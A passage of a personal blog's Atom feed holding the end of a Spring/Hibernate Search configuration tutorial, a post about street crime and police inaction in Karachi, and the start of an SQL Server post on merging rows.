&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #7f007f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;hibernate.dialect&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;org.hibernate.dialect.MySQLDialect&lt;span style=&quot;color: teal;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #7f007f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;hibernate.show_sql&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;true&lt;span style=&quot;color: teal;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: EN-US;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: EN-US;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: EN-US;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-bidi-font-size: 11.0pt; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: EN-US;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #7f007f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: EN-US;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: EN-US;&quot;&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;hibernate.connection.zeroDateTimeBehavior&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;convertToNull&lt;span style=&quot;color: teal;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #7f007f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;hibernate.search.default.directory_provider&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;filesystem&lt;/u&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #7f007f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;hibernate.search.default.indexBase&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;c:/&lt;u&gt;lucene&lt;/u&gt;/indexes/first&lt;span style=&quot;color: teal;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #7f007f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;=&lt;i&gt;&lt;span style=&quot;color: #2a00ff;&quot;&gt;&quot;hibernate.current_session_context_class&quot;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;thread&lt;span style=&quot;color: teal;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f;&quot;&gt;prop&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;props&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif;&quot;&gt;This is it, we have integrated the HibernateSearch successfully with Sprirng+Hibernate&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/6097560347452924914/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2014/01/maven-struts2-spring-hibernate-struts2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/6097560347452924914'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/6097560347452924914'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2014/01/maven-struts2-spring-hibernate-struts2.html' title='Maven + Struts2 + Spring + Hibernate + Struts2-Convention-Plugin + Hibernate Search'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibMnY8-aNHSV6KTbbAglBHAy60BZOyy_efY0yfFYCJ4yUT25wf7dSTjTz-rcz3xGhJIuoWBGULcSiFkEY3duGnAuKxShupafMYqgSRptGDDykAKQhsl0XRRUFcmGYx4mXpCilF8I_8Y07s/s72-c/DAO.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-6833271193093428864</id><published>2013-09-10T01:35:00.000-07:00</published><updated>2013-09-10T01:35:03.155-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Personal"/><category scheme="http://www.blogger.com/atom/ns#" term="Social"/><title type='text'>Behind the City of Lights</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
As everyone knows that Karachi is a city of light but these
days lights have more than one source. Initially the city sparkled by the KESC
but these days bullet sparks are also helping the cause. But, this is what
everyone must be aware of but, what people are not aware of can be easily
understood by this reading.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
I don’t read newspaper because of the depressing news into
it, but yes if something informative than I must go through. And in my case
‘informative’ means anything which can help me out.&amp;nbsp; So, I was just reading news that was shared
by one of my colleague which was related to statistics of express crime in
Karachi on monthly basis. And it’s around 130 registered crimes and around 500
unregistered crimes because no one goes for FIR of such crimes and in many
cases Police don’t even lodge an FIR.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
So, here few questions rise:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
How they target us?&lt;br /&gt;
Why Police don’t lodge an FIR?&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
If anyone of us thinks that they are not organized then it
must be our thoughts, because they are quite organized even far away from our
thoughts. They are tracking our phone calls, our daily activity using
foursquare, our lifestyle using Facebook, and our job using linked-in. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
So, how to prevent from such things, try to be a hard target
for them by avoid sharing your personal stuff over the net. Don’t talk about
transaction details over the cell phone, specifically if it’s registered on
your name. &amp;nbsp;Block all those unnecessary
people who are following you at foursquare or twitter. And, in case of linked
in you can’t help it. Even they are getting the accounts information from the
banking system that how much amount do you have in your account. Recently, a
bank manager kidnapped and it was probably to fetch information about his
clients. So, this thing shows how they can fetch information easily of those
who have quite healthy bank statements.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Few days back two snatchers shot on my car because I tried
to escape and saved to become victimized. But, I was amazed to see the
precision in the shot they have made as by the grace of Almighty Allah I was
saved from only 4 inches while my car was moving fast and in zig-zag order,
else it could blow my head. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
But, that depression was less than the depression I faced
while I went for lodging an FIR against it. It happened near Tipu Sultan road
while I was heading towards Dunkin Donuts from Balooch Colony. So the nearest
station I got was in M.A.C.H.S, the officer said it’s not under their
jurisdiction, left for the station in PECHS Bl-6, I went there but the officer
there was really funny. First question he asked was; where were you coming
from? I replied Airport then he said the FIR should be lodged at Airport not
here. I said but the incident held at Tipu Sultan Rd. His next question; was
the car moving? I replied yes. Then jurisdiction cannot be finalized you can’t
lodge an FIR, just drop me an application and we will look into it.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
So, here I realized he is not at all willing to lodge an
FIR, but there was a genuine reason behind it. As no one can risk the life of his
family for just few thousands of salary; because these groups must have
threatened them not for their lives but for the lives of their family and that could
be a reason for not to take any kind of action against these people.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
In my opinion if we know that police can&#39;t save us then the best option is to find own way to secure ourselves and second best option is to escape from this city or country to get a better peacefull life where atleast being a third degree citizen you will have rights.Sad reminder of the ground reality in Pakistan today. Anybody can just kill you like a dog and get away with it, specially when he belongs from political elite family.&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/6833271193093428864/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2013/09/behind-city-of-lights.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/6833271193093428864'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/6833271193093428864'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2013/09/behind-city-of-lights.html' title='Behind the City of Lights'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-6913419553593272829</id><published>2013-08-02T05:17:00.002-07:00</published><updated>2013-08-02T05:17:39.985-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Merge Multiple Rows in SQL Server</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
I was just going through a problem in database which was related to querying data from two tables but all the uncommon columns should be merged to a single row even comma separated.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Primary Table&lt;/b&gt;&lt;br /&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
ID&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
Value_1&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
Value_2&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
1&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0cm 5.4pt 0cm 5.4pt; width: 159.6pt;&quot; valign=&quot;top&quot; width=&quot;213&quot;&gt;
  &lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
ABC&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
